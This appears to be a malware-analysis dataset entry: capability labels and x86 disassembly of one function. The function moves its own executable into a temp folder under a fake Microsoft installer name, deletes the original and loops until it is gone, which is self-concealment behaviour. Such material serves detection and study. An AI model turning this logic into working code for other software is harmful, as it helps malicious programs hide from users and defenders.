Function at 0x417050
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call fcn.00416fb0
push 0x206
xor ebx, ebx
lea ecx, [ebp - 0x61e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x620], ax
call fcn.00423160
add esp, 0xc
push esi
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x104
lea edx, [ebp - 0x620]
push edx
push ebx
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea ecx, [ebp - 0x828]
push ecx
push 0x104
mov edi, eax
mov dword [ebp - 0xc3c], ebx
mov dword [ebp - 0xc48], 0xc
mov dword [ebp - 0xc40], ebx
mov dword [ebp - 0xc44], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
call fcn.00421f1e
add esp, 4
push eax
call fcn.00421705
add esp, 4
call fcn.00421717
push ebx
call fcn.00421f1e
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
add esp, 4
push edx
push eax
lea edx, [ebp - 0x828]
push edx
lea eax, [ebp - 0x210]
push str._s_d
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 0x14
lea ecx, [ebp - 0xc48]
push ecx
lea edx, [ebp - 0x210]
push edx
call ebx
push str....._
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x418]
push 0x44014c
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0xc48]
push edx
lea eax, [ebp - 0x418]
push eax
call ebx
push str.Microsoft.TransCompositio.msi
lea ecx, [ebp - 0x418]
push ecx
push 0x441720
lea edx, [ebp - 0xc38]
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0xc38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.Microsoft.TransCompositio.msi
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0xa30]
push 0x441720
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0xa30]
push eax
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x417322
jmp 0x417200
mov eax, dword [ebp - 0xc3c]
inc eax
mov dword [ebp - 0xc3c], eax
cmp eax, 0xa
jge 0x41732f
lea eax, [ebp - 0x828]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call fcn.00421f1e
add esp, 4
push eax
call fcn.00421705
add esp, 4
call fcn.00421717
push 0
call fcn.00421f1e
add esp, 4
push edx
push eax
lea ecx, [ebp - 0x828]
push ecx
lea edx, [ebp - 0x210]
push str._s_d
push edx
call esi
add esp, 0x14
lea eax, [ebp - 0xc48]
push eax
lea ecx, [ebp - 0x210]
push ecx
call ebx
push str....._
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x44014c
push eax
call esi
add esp, 0x10
lea ecx, [ebp - 0xc48]
push ecx
lea edx, [ebp - 0x418]
push edx
call ebx
push str.Microsoft.TransCompositio.msi
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0xc38]
push 0x441720
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0xc38]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.Microsoft.TransCompositio.msi
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0xa30]
push 0x441720
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0xa30]
push edx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x417200
push 0
push edi
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fcee
mov esp, ebp
pop ebp
ret